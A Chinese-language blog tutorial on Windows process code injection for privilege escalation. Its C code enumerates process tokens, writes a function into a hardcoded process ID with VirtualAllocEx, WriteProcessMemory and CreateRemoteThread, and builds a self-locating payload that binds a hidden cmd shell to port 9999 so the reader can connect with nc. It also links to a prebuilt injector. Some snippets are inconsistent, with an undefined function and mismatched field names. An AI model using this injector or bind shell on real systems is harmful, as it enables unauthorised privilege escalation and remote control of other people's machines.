• C/C++ 进程代码注入与提权/降权


    如果将shellcode注入到具有特定权限的进程中,我们就可以获得与该进程相同的权限,此方法可以用于提权与降权操作,注入有多种方式,最简单的是直接将metasploit生成的有效载荷直接注入到目标进程中,并通过创建远程线程启动,还可以自己实现一个注入器,这里我们自己来实现一个提权器,可提权也可降权。

    本次使用的工具,依旧是上次编写的PETools: https://www.cnblogs.com/LyShark/p/12960816.html
    提权降权工具下载地址:https://www.blib.cn/soft/pexec.zip

    枚举系统进程,与进程权限令牌等。

    #include <stdio.h>
    #include <Windows.h>
    #include <TlHelp32.h>
    
    // 通过进程Token获取进程权限类型
    void __stdcall EnumOwner(HANDLE htoken)
    {
    	DWORD dwLen;
    	PSID pSid = 0;
    	TOKEN_USER *pWork;
    	SID_NAME_USE use;
    	TCHAR User[256], Domain[256];
    
    	GetTokenInformation(htoken, TokenUser, NULL, 0, &dwLen);
    	pWork = (TOKEN_USER *)LocalAlloc(LMEM_ZEROINIT, dwLen);
    	if (GetTokenInformation(htoken, TokenUser, pWork, dwLen, &dwLen))
    	{
    		dwLen = GetLengthSid(pWork->User.Sid);
    		pSid = (PSID)LocalAlloc(LMEM_ZEROINIT, dwLen);
    		CopySid(dwLen, pSid, pWork->User.Sid);
    		dwLen = 256;
    		LookupAccountSid(NULL, pSid, &User[0], &dwLen, &Domain[0], &dwLen, &use);
    		printf("	 权限类型 => %s : %s ", Domain, User);
    	}
    }
    
    // 枚举系统中进程的令牌权限信息
    int enumprocess()
    {
    	HANDLE SnapShot, ProcessHandle, hToken;
    	PROCESSENTRY32 pe32;
    
    	// 拍摄快照
    	SnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    	pe32.dwSize = sizeof(PROCESSENTRY32);
    
    	if (Process32First(SnapShot, &pe32) == FALSE)
    		return 0;
    
    	while (1)
    	{
    		if (Process32Next(SnapShot, &pe32) == FALSE)
    			return 0;
    		
    		printf("PID => %6i 	 进程名 => %-20s 	 线程数 => %3i", pe32.th32ProcessID, pe32.szExeFile, pe32.cntThreads);
    		// 获取特定进程权限等
    		ProcessHandle = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, pe32.th32ProcessID);
    		if (ProcessHandle != NULL)
    		{
    			if (OpenProcessToken(ProcessHandle, TOKEN_QUERY, &hToken))
    			{
    				EnumOwner(hToken);
    				CloseHandle(hToken);
    				CloseHandle(ProcessHandle);
    			}
    		}
    		printf("
    ");
    	}
    	return 1;
    }
    
    int main(int argc, char * argv[])
    {
    	ExtractProcessTokens();
    	system("pause");
    	return 0;
    }
    

    枚举线程权限类型

    // 枚举特定进程中线程的Token值
    int enumtoken(DWORD dwPID)
    {
    	HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
    	THREADENTRY32 te32;
    
    	if ((hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0)) != INVALID_HANDLE_VALUE)
    	{
    		te32.dwSize = sizeof(THREADENTRY32);
    		if (Thread32First(hThreadSnap, &te32))
    		{
    			do
    			{
    				HANDLE hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, te32.th32ThreadID);
    				if (hThread != NULL)
    				{
    					HANDLE hToken;
    					OpenThreadToken(hThread, TOKEN_QUERY, TRUE, &hToken);
    					EnumOwner(hToken);
    					CloseHandle(hToken);
    				}
    				
    			} while (Thread32Next(hThreadSnap, &te32));
    		}
    	}
    	return TRUE;
    }
    

    手工获取函数地址 第一步,手动获取到kernel32.dll地址,与GetProcaddress地址,然后就可以动态获取到任意函数的地址,先定义数据结构

    typedef struct _ShellBase
    {
    	// 针对Kernel32的操作
    	HANDLE KernelHandle;
    	char kernelstring[20]; // kernel32.dll
    	LOADLIBRARY KernelLoadLibrary;
    	GETPROCADDRESS KernelGetProcAddress;
    
    	// 针对User32的操作
    	HANDLE UserHandle;
    	char userstring[20];   // user32.dll
    }ShellParametros;
    

    然后,主函数获取地址,并写入全局结构体。

    int main(int argc, char * argv[])
    {
    	ShellParametros Param;
    	// 得到加载基地址的工具函数
    	Param.KernelHandle = LoadLibrary("kernel32.dll");
    	Param.KernelLoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)Param.KernelHandle, "LoadLibraryA");
    	Param.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.KernelHandle, "GetProcAddress");
    	printf("获取到Kernel32.dll = %x", Param.KernelHandle);
    
    	// 分别获取Kernel32与User32的对应字符串
    	strcpy(Param.kernelstring, "kernel32.dll");
    	strcpy(Param.userstring, "user32.dll");
    	system("pause");
    	return 0;
    }
    

    查询弹窗定义。

    WINUSERAPI
    int
    WINAPI
    MessageBoxA(
        _In_opt_ HWND hWnd,
        _In_opt_ LPCSTR lpText,
        _In_opt_ LPCSTR lpCaption,
        _In_ UINT uType);
    

    头部声明

    // Kernel32 调用约定定义
    typedef HMODULE(WINAPI *LOADLIBRARY)(LPCTSTR lpFileName);
    typedef FARPROC(WINAPI *GETPROCADDRESS) (HMODULE hModule, LPCSTR lpProcName);
    
    // User32调用约定定义
    typedef int(WINAPI *MESSAGEBOX)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);
    

    获取地址,并转为MESSAGEBOX指针。

    void __stdcall MyShell(ShellParametros *ptr)
    {
    	ptr->KernelHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->kernelstring);
    	ptr->UserHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->userstring);
    
    	printf("动态获取到Kernel32基地址 = %x 
    ", ptr->KernelHandle);
    	printf("动态获取到User32基地址 = %x 
    ", ptr->UserHandle);
    
    	MESSAGEBOX msgbox = (MESSAGEBOX)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->UserHandle, "MessageBoxA");
    	printf("%x 
    ", msgbox);
    	msgbox(0, 0, 0, 0);
    }
    

    调用

    注入目标进程,需要获得字符串,该字符串要存储到内存中,修改.

    MESSAGEBOX msgbox = (MESSAGEBOX)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->UserHandle, "MessageBoxA");
    
    typedef struct _ShellBase
    {
    	// 针对Kernel32的操作
    	HANDLE KernelHandle;
    	char kernelstring[20]; // kernel32.dll
    	LOADLIBRARY KernelLoadLibrary;
    	GETPROCADDRESS KernelGetProcAddress;
    
    	// 针对User32的操作
    	HANDLE UserHandle;
    	char userstring[20];   // user32.dll
    	char msgbox[20];
    
    }ShellParametros;
    
    MESSAGEBOX msgbox = (MESSAGEBOX)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->UserHandle, ptr->msgbox);
    

    将代码注入到目标进程中,弹窗提示一下,开辟远程线程。

    int main(int argc, char * argv[])
    {
    	ShellParametros Param, *remote = NULL;
    	HANDLE hProcess;
    	void *p = NULL;
    	
    	// 得到加载基地址的工具函数
    	Param.Kernel32Base = LoadLibrary("kernel32.dll");
    	Param.Kernel_LoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)Param.Kernel32Base, "LoadLibraryA");
    	Param.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.Kernel32Base, "GetProcAddress");
    	// printf("获取到Kernel32.dll = %x", Param.KernelHandle);
    
    	// 分别获取Kernel32与User32的对应字符串
    	strcpy(Param.KernelString, "kernel32.dll");
    	strcpy(Param.UserString, "user32.dll");
    
    	strcpy(Param.User_MsgBox, "MessageBoxA");
    	strcpy(Param.Text, "hello lyshark");
    
    	// 根据PID注入代码到指定进程中
    	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 17508);
    	p = VirtualAllocEx(hProcess, 0, 4096 * 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    	remote = (ShellParametros *)VirtualAllocEx(hProcess, 0, sizeof(ShellParametros), MEM_COMMIT, PAGE_READWRITE);
    	WriteProcessMemory(hProcess, p, &MyShell, 4096 * 2, 0);
    	WriteProcessMemory(hProcess, remote, &Param, sizeof(ShellParametros), 0);
    	CreateRemoteThread(hProcess, 0, 0, (DWORD(__stdcall *)(void *)) p, remote, 0, 0);
    	return 0;
    }
    

    实现CMDShell 以下代码可实现正向cmdshell,我们将其改进一下,让其支持动态获取地址。

    #include <winsock2.h>
    #define Port 9999
    #pragma comment(lib,"ws2_32.lib")
    
    int main()
    {
    	SOCKET sSocket, cSocket;
    	STARTUPINFO si;
    	PROCESS_INFORMATION pi;
    	WSADATA wsaData;
    	sockaddr_in sSockaddr;
    	char szCmdPath[MAX_PATH];
    
    	GetEnvironmentVariableA("COMSPEC", szCmdPath, MAX_PATH);
    
    	WSAStartup(0x0202, &wsaData);
    	cSocket = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    	sSockaddr.sin_addr.s_addr = INADDR_ANY;
    	sSockaddr.sin_family = AF_INET;
    	sSockaddr.sin_port = htons(Port);
    	bind(cSocket, (sockaddr*)&sSockaddr, sizeof(sSockaddr));
    	listen(cSocket, 1);
    
    	int sLen = sizeof(sSockaddr);
    	sSocket = accept(cSocket, (sockaddr*)&sSockaddr, &sLen);
    	si.cb = sizeof(si);
    	si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
    	si.hStdInput = (HANDLE)sSocket;
    	si.hStdOutput = (HANDLE)sSocket;
    	si.hStdError = (HANDLE)sSocket;
    	CreateProcessA(NULL, szCmdPath, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
    	WaitForSingleObject(pi.hProcess, INFINITE);
    	WSACleanup();
    
    	return 0;
    }
    

    依次验证常用函数所在动态链接库,就调用了2个库,好,我们继续写。

    上方的代码就是一个正向CMDshell,我们将其写成自定位代码即可,首先定义需要用得到的指针。

    // 定义各种指针变量
    typedef HMODULE(WINAPI *LOADLIBRARY)(LPCTSTR);
    typedef FARPROC(WINAPI *GETPROCADDRESS) (HMODULE, LPCSTR);
    
    typedef int (WINAPI *BIND) (SOCKET, const struct sockaddr*, int);
    typedef SOCKET(WINAPI *ACCEPT) (SOCKET, struct sockaddr*, int*);
    typedef int (WINAPI *LISTEN) (SOCKET, int);
    typedef int (WINAPI *WSASTARTUP) (WORD, LPWSADATA);
    typedef SOCKET(WINAPI *WSASOCKET) (int, int, int, LPWSAPROTOCOL_INFO, GROUP, DWORD);
    typedef int (WINAPI *WSACONNECT) (SOCKET, const struct sockaddr*, int, LPWSABUF, LPWSABUF, LPQOS, LPQOS);
    typedef BOOL(WINAPI * CREATEPROCESS) (LPCTSTR, LPTSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, 
    	DWORD, LPVOID, LPCTSTR, LPSTARTUPINFO, LPPROCESS_INFORMATION);
    

    main函数中向结构体中拷贝数据

    	memset((void *)&parametros, 0, sizeof(PARAMETROS));
    	strncpy(parametros.cmd, "cmd", 2);
    	parametros.port = htons((unsigned short)9999);
    
    	// 获取到动态链接库加载函数地址
    	parametros.KernelHandle = LoadLibrary("kernel32.dll");
    	parametros.KernelLoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)parametros.KernelHandle, "LoadLibraryA");
    	parametros.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)parametros.KernelHandle, "GetProcAddress");
    
    	// 拷贝 winsock 字符串
    	strcpy(parametros.wsastring, "ws2_32.dll");
    	strcpy(parametros.wsastartupstring, "WSAStartup");
    	strcpy(parametros.WSASocketString, "WSASocketW");
    	strcpy(parametros.WSAConnectstring, "WSAConnect");
    	strcpy(parametros.bindstring, "bind");
    	strcpy(parametros.acceptstring, "accept");
    	strcpy(parametros.listenstring, "listen");
    
    	// 拷贝 kernel32 字符串
    	strcpy(parametros.kernelstring, "kernel32.dll");
    	strcpy(parametros.CreateProcessstring, "CreateProcessA");
    

    调用shell代码,代码先执行动态获取API地址,然后动态调用。

    // 调用的远程Shell代码
    void __stdcall MyShell(PARAMETROS *ptr)
    {
    	// 通过GetProcAddress获取到ws2.dll中的所有函数地址
    	ptr->WSAHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->wsastring);
    	ptr->ShellWsaStartup = (WSASTARTUP)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->wsastartupstring);
    	ptr->ShellWSASocket = (WSASOCKET)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->WSASocketString);
    	ptr->ShellWsaConnect = (WSACONNECT)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->WSAConnectstring);
    	ptr->ShellBind = (BIND)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->bindstring);
    	ptr->ShellAccept = (ACCEPT)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->acceptstring);
    	ptr->ShellListen = (LISTEN)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->listenstring);
    
    	// 通过GetProcAddress获取到kernel32.dll中的所有函数地址
    	ptr->KernelHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->kernelstring);
    	ptr->KernelCreateProcess = (CREATEPROCESS)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->KernelHandle, ptr->CreateProcessstring);
    	ptr->ShellWsaStartup(0x101, &HWSAdata);
    	s = ptr->ShellWSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
    	sa.sin_family = AF_INET;
    	sa.sin_port = ptr->port;
    	sa.sin_addr.s_addr = 0;
    	ptr->ShellBind(s, (struct sockaddr *) &sa, 16);
    	ptr->ShellListen(s, 1);
    	
    	while (1)
    	{
    		n = ptr->ShellAccept(s, (struct sockaddr *)&sa, NULL);
    		si.cb = sizeof(si);
    		si.wShowWindow = SW_HIDE;
    		si.dwFlags = STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES;
    		si.hStdInput = si.hStdOutput = si.hStdError = (void *)n;
    		si.lpDesktop = si.lpTitle = (char *)0x0000;
    		si.lpReserved2 = NULL;
    		ptr->KernelCreateProcess(NULL, ptr->cmd, NULL, NULL, TRUE, 0, NULL, NULL, (STARTUPINFO*)&si, &pi);
    	}
    }
    

    最后,主函数开辟远程线程,即可完成权限提升,下载地址中包括32与64两个版本,不同版本对应不同位数。

    工具下载地址:https://www.blib.cn/soft/pexec.zip

    首先使用注入器注入一个正在运行的进程,参数为PID

    使用NC直接连接进去,即可获取到,与注入进程相同的权限,端口写死了9999

    如果目标进程开启了,动态地址,ASLR,等则注入会失败,程序崩溃,这里需要注意一下。

  • 相关阅读:
    使用 connect http proxy 绕过 ssh 防火墙限制
    Docker 容器与宿主机网段冲突导致网络无法 ping 通的解决方案
    Mac 下 Chrome 浏览器 ERR_NETWORK_CHANGED 报错解决方案
    SCSS & SASS Color 颜色函数用法
    eggjs 框架代理调试 SELF_SIGNED_CERT_IN_CHAIN 报错解决方案
    【转】谷歌安装Axure浏览器插件
    js 图片转base64并压缩
    ajax请求
    postman如何重置账号的密码
    解决url中&times会被转成×的问题
  • 原文地址:https://www.cnblogs.com/LyShark/p/13785619.html
Copyright © 2020-2023  润新知